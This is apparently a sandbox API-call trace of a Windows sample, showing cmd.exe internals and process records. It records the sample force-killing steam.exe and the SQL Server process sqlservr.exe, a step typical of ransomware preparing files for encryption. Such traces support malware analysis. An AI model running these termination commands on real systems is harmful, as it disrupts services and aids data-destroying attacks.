	[0046.776] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0046.776] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0046.776] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0046.776] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0046.776] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0046.776] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0046.776] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0046.776] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0046.776] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0046.776] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0046.776] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0046.776] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0046.776] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0046.776] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0046.776] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0046.776] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0046.776] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0046.776] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0046.776] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0046.776] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0046.776] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0046.776] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0046.777] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0046.777] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0046.777] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0046.777] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0046.777] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0046.777] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0046.777] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0046.777] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0046.777] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0046.777] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0046.777] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0046.777] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0046.777] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0046.777] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0046.777] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0046.777] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0046.777] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0046.777] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0046.777] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0046.777] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0046.777] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0046.777] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0046.777] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0046.777] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0046.777] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0046.777] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0046.777] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0046.777] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0046.777] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0046.777] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0046.777] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0046.777] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0046.777] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0046.777] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0046.777] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0046.778] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0046.778] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0046.778] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0046.778] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0046.778] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0046.778] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0046.778] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0046.778] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0046.778] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0046.778] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0046.778] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0046.778] GetProcessHeap () returned 0x7b0000
	[0046.778] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x210) returned 0x7c31d0
	[0046.778] GetProcessHeap () returned 0x7b0000
	[0046.778] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x40) returned 0x7c33e8
	[0046.778] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0046.779] GetProcessHeap () returned 0x7b0000
	[0046.779] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x418) returned 0x7b07f0
	[0046.779] SetErrorMode (uMode=0x0) returned 0x8003
	[0046.779] SetErrorMode (uMode=0x1) returned 0x0
	[0046.779] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7b07f8, lpFilePart=0x3aee18 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3aee18*="Desktop") returned 0x25
	[0046.779] SetErrorMode (uMode=0x8003) returned 0x1
	[0046.779] GetProcessHeap () returned 0x7b0000
	[0046.779] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7b07f0, Size=0x66) returned 0x7b07f0
	[0046.779] GetProcessHeap () returned 0x7b0000
	[0046.779] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7b07f0) returned 0x66
	[0046.779] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a600640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0046.779] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0046.779] GetProcessHeap () returned 0x7b0000
	[0046.779] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x120) returned 0x7c3430
	[0046.779] GetProcessHeap () returned 0x7b0000
	[0046.779] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x238) returned 0x7b0860
	[0046.781] GetProcessHeap () returned 0x7b0000
	[0046.781] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7b0860, Size=0x122) returned 0x7b0860
	[0046.781] GetProcessHeap () returned 0x7b0000
	[0046.781] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7b0860) returned 0x122
	[0046.781] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a600640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.781] GetProcessHeap () returned 0x7b0000
	[0046.781] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xe0) returned 0x7b0990
	[0046.781] GetProcessHeap () returned 0x7b0000
	[0046.781] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7b0990, Size=0x76) returned 0x7b0990
	[0046.781] GetProcessHeap () returned 0x7b0000
	[0046.781] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7b0990) returned 0x76
	[0046.781] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0046.782] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3aeb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeb94) returned 0xffffffff
	[0046.782] GetLastError () returned 0x2
	[0046.782] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x3aeb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeb94) returned 0xffffffff
	[0046.782] GetLastError () returned 0x2
	[0046.782] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0046.782] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3aeb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeb94) returned 0x7c3558
	[0046.782] GetProcessHeap () returned 0x7b0000
	[0046.782] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x14) returned 0x7b0a10
	[0046.782] FindClose (in: hFindFile=0x7c3558 | out: hFindFile=0x7c3558) returned 1
	[0046.782] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x3aeb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeb94) returned 0xffffffff
	[0046.782] GetLastError () returned 0x2
	[0046.782] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x3aeb94, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aeb94) returned 0x7c3558
	[0046.783] GetProcessHeap () returned 0x7b0000
	[0046.783] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7b0a10, Size=0x4) returned 0x7b0a10
	[0046.783] FindClose (in: hFindFile=0x7c3558 | out: hFindFile=0x7c3558) returned 1
	[0046.783] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0046.783] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0046.783] GetConsoleTitleW (in: lpConsoleTitle=0x3af08c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0046.783] InitializeProcThreadAttributeList (in: lpAttributeList=0x3aef14, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3aefdc | out: lpAttributeList=0x3aef14, lpSize=0x3aefdc) returned 1
	[0046.783] UpdateProcThreadAttribute (in: lpAttributeList=0x3aef14, dwFlags=0x0, Attribute=0x60001, lpValue=0x3aefd4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3aef14, lpPreviousValue=0x0) returned 1
	[0046.783] GetStartupInfoW (in: lpStartupInfo=0x3aeed0 | out: lpStartupInfo=0x3aeed0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc)) 
	[0046.783] GetProcessHeap () returned 0x7b0000
	[0046.783] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x18) returned 0x7c3558
	[0046.783] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0046.783] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0046.783] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0046.783] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0046.783] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0046.783] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0046.783] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0046.784] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0046.784] GetProcessHeap () returned 0x7b0000
	[0046.784] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3558 | out: hHeap=0x7b0000) returned 1
	[0046.784] GetProcessHeap () returned 0x7b0000
	[0046.784] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xa) returned 0x7bfed8
	[0046.785] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0046.786] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im steam.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3aef70*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im steam.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3aefbc | out: lpCommandLine="taskkill  /f /im steam.exe ", lpProcessInformation=0x3aefbc*(hProcess=0x78, hThread=0x74, dwProcessId=0xaa0, dwThreadId=0xaa4)) returned 1
	[0046.791] CloseHandle (hObject=0x74) returned 1
	[0046.791] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0046.791] GetProcessHeap () returned 0x7b0000
	[0046.791] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c5ec8 | out: hHeap=0x7b0000) returned 1
	[0046.791] GetEnvironmentStringsW () returned 0x7d4a40*
	[0046.791] GetProcessHeap () returned 0x7b0000
	[0046.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb36) returned 0x7c4088
	[0046.791] FreeEnvironmentStringsW (penv=0x7d4a40) returned 1
	[0046.791] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0047.086] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3aeeb0 | out: lpExitCode=0x3aeeb0*=0x80) returned 1
	[0047.086] CloseHandle (hObject=0x78) returned 1
	[0047.086] _vsnwprintf (in: _Buffer=0x3aeff8, _BufferCount=0x13, _Format="%08X", _ArgList=0x3aeebc | out: _Buffer="00000080") returned 8
	[0047.086] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0047.086] GetProcessHeap () returned 0x7b0000
	[0047.086] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4088 | out: hHeap=0x7b0000) returned 1
	[0047.086] GetEnvironmentStringsW () returned 0x7c4088*
	[0047.086] GetProcessHeap () returned 0x7b0000
	[0047.086] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb5c) returned 0x7c5ec8
	[0047.086] FreeEnvironmentStringsW (penv=0x7c4088) returned 1
	[0047.086] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0047.086] GetProcessHeap () returned 0x7b0000
	[0047.086] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c5ec8 | out: hHeap=0x7b0000) returned 1
	[0047.086] GetEnvironmentStringsW () returned 0x7c4088*
	[0047.086] GetProcessHeap () returned 0x7b0000
	[0047.086] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb5c) returned 0x7c5ec8
	[0047.086] FreeEnvironmentStringsW (penv=0x7c4088) returned 1
	[0047.086] GetProcessHeap () returned 0x7b0000
	[0047.086] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bfed8 | out: hHeap=0x7b0000) returned 1
	[0047.086] DeleteProcThreadAttributeList (in: lpAttributeList=0x3aef14 | out: lpAttributeList=0x3aef14) 
	[0047.086] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0047.086] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0047.087] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0047.087] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a5f41ac | out: lpMode=0x4a5f41ac) returned 0
	[0047.087] _get_osfhandle (_FileHandle=0) returned 0xac
	[0047.087] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a5f41b0 | out: lpMode=0x4a5f41b0) returned 0
	[0047.087] GetConsoleOutputCP () returned 0x1b5
	[0047.087] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a5f4260 | out: lpCPInfo=0x4a5f4260) returned 1
	[0047.087] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0047.087] exit (_Code=128) 

Process:
	id = "67"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x490d9000"
	os_pid = "0xaa0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "66"
	os_parent_pid = "0x848"
	cmd_line = "taskkill  /f /im steam.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 287
	os_tid = 0xaa4


Thread:
	id = 288
	os_tid = 0xa98


Thread:
	id = 289
	os_tid = 0xa94


Thread:
	id = 290
	os_tid = 0xad0


Thread:
	id = 291
	os_tid = 0x9b8


Process:
	id = "68"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4891c000"
	os_pid = "0x844"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im sqlservr.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 292
	os_tid = 0xac0

	[0047.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30ff58 | out: lpSystemTimeAsFileTime=0x30ff58*(dwLowDateTime=0x1be0030, dwHighDateTime=0x1d52dc5)) 
	[0047.163] GetCurrentProcessId () returned 0x844
	[0047.163] GetCurrentThreadId () returned 0xac0
	[0047.163] GetTickCount () returned 0x1bf96
	[0047.163] QueryPerformanceCounter (in: lpPerformanceCount=0x30ff50 | out: lpPerformanceCount=0x30ff50*=16747316345) returned 1
	[0047.164] GetModuleHandleA (lpModuleName=0x0) returned 0x4a4a0000
	[0047.164] __set_app_type (_Type=0x1) 
	[0047.164] __p__fmode () returned 0x74eb31f4
	[0047.164] __p__commode () returned 0x74eb31fc
	[0047.164] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4c21a6) returned 0x0
	[0047.164] __getmainargs (in: _Argc=0x4a4c4238, _Argv=0x4a4c4240, _Env=0x4a4c423c, _DoWildCard=0, _StartInfo=0x4a4c4140 | out: _Argc=0x4a4c4238, _Argv=0x4a4c4240, _Env=0x4a4c423c) returned 0
	[0047.165] GetCurrentThreadId () returned 0xac0
	[0047.165] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xac0) returned 0x60
	[0047.165] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0047.165] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0047.165] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0047.165] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0047.165] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30fee8 | out: phkResult=0x30fee8*=0x0) returned 0x2
	[0047.165] VirtualQuery (in: lpAddress=0x30ff1f, lpBuffer=0x30feb8, dwLength=0x1c | out: lpBuffer=0x30feb8*(BaseAddress=0x30f000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0047.165] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x30feb8, dwLength=0x1c | out: lpBuffer=0x30feb8*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0047.166] VirtualQuery (in: lpAddress=0x211000, lpBuffer=0x30feb8, dwLength=0x1c | out: lpBuffer=0x30feb8*(BaseAddress=0x211000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0047.166] VirtualQuery (in: lpAddress=0x213000, lpBuffer=0x30feb8, dwLength=0x1c | out: lpBuffer=0x30feb8*(BaseAddress=0x213000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0047.166] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x30feb8, dwLength=0x1c | out: lpBuffer=0x30feb8*(BaseAddress=0x310000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0047.166] GetConsoleOutputCP () returned 0x1b5
	[0047.166] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4c4260 | out: lpCPInfo=0x4a4c4260) returned 1
	[0047.166] SetConsoleCtrlHandler (HandlerRoutine=0x4a4be72a, Add=1) returned 1
	[0047.166] _get_osfhandle (_FileHandle=1) returned 0xac
	[0047.166] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0047.166] _get_osfhandle (_FileHandle=1) returned 0xac
	[0047.166] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a4c41ac | out: lpMode=0x4a4c41ac) returned 0
	[0047.166] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0047.166] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a4c41b0 | out: lpMode=0x4a4c41b0) returned 0
	[0047.166] GetEnvironmentStringsW () returned 0x352008*
	[0047.166] GetProcessHeap () returned 0x340000
	[0047.166] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xaca) returned 0x352ae0
	[0047.172] FreeEnvironmentStringsW (penv=0x352008) returned 1
	[0047.172] GetProcessHeap () returned 0x340000
	[0047.172] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4) returned 0x350c40
	[0047.172] GetEnvironmentStringsW () returned 0x352008*
	[0047.172] GetProcessHeap () returned 0x340000
	[0047.172] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xaca) returned 0x3535b8
	[0047.172] FreeEnvironmentStringsW (penv=0x352008) returned 1
	[0047.172] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30ee58 | out: phkResult=0x30ee58*=0x68) returned 0x0
	[0047.172] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x0, lpData=0x30ee64*=0x0, lpcbData=0x30ee5c*=0x1000) returned 0x2
	[0047.172] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x4, lpData=0x30ee64*=0x1, lpcbData=0x30ee5c*=0x4) returned 0x0
	[0047.172] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x0, lpData=0x30ee64*=0x1, lpcbData=0x30ee5c*=0x1000) returned 0x2
